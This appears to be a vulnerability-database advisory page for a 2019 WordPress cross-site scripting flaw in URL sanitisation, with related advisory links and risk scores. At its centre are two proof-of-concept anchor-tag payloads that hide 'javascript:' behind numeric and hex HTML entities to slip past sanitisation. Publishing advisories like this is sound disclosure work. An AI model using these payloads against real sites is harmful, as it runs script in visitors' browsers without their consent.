Lucene search
K

WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation

🗓️ 05 Sep 2019 00:00:00Reported by Ryan DewhurstType 
wpexploit
 wpexploit
👁 70 Views

WordPress 5.2.2 XSS URL Sanitisation Vulnerabilit

Related
Refs
Code
ReporterTitlePublishedViews
Family
CNVD
WordPress Cross-Site Scripting Vulnerability (CNVD-2019-31833)
12 Sep 201900:00
cnvd
CVE
CVE-2019-16222
11 Sep 201913:07
cve
Cvelist
CVE-2019-16222
11 Sep 201913:07
cvelist
Debian
[SECURITY] [DLA 1960-1] wordpress security update
17 Oct 201920:21
debian
Debian
[SECURITY] [DSA 4599-1] wordpress security update
8 Jan 202005:47
debian
Debian
[SECURITY] [DSA 4599-1] wordpress security update
8 Jan 202005:47
debian
Debian
[SECURITY] [DSA 4677-1] wordpress security update
6 May 202006:30
debian
Debian
[SECURITY] [DSA 4677-1] wordpress security update
6 May 202006:30
debian
Debian CVE
CVE-2019-16222
11 Sep 201913:07
debiancve
Tenable Nessus
Debian DLA-1960-1 : wordpress security update
18 Oct 201900:00
nessus
Rows per page
Thanks to @irsdl's Hacker1 disclosure:

<a href="javascript&#58alert(document.domain)">JS - Numerical Entities</a>
<a href="javascript&#x3ax=1;alert(document.domain)">JS - Hex Entities</a>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Sep 2020 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.02377
70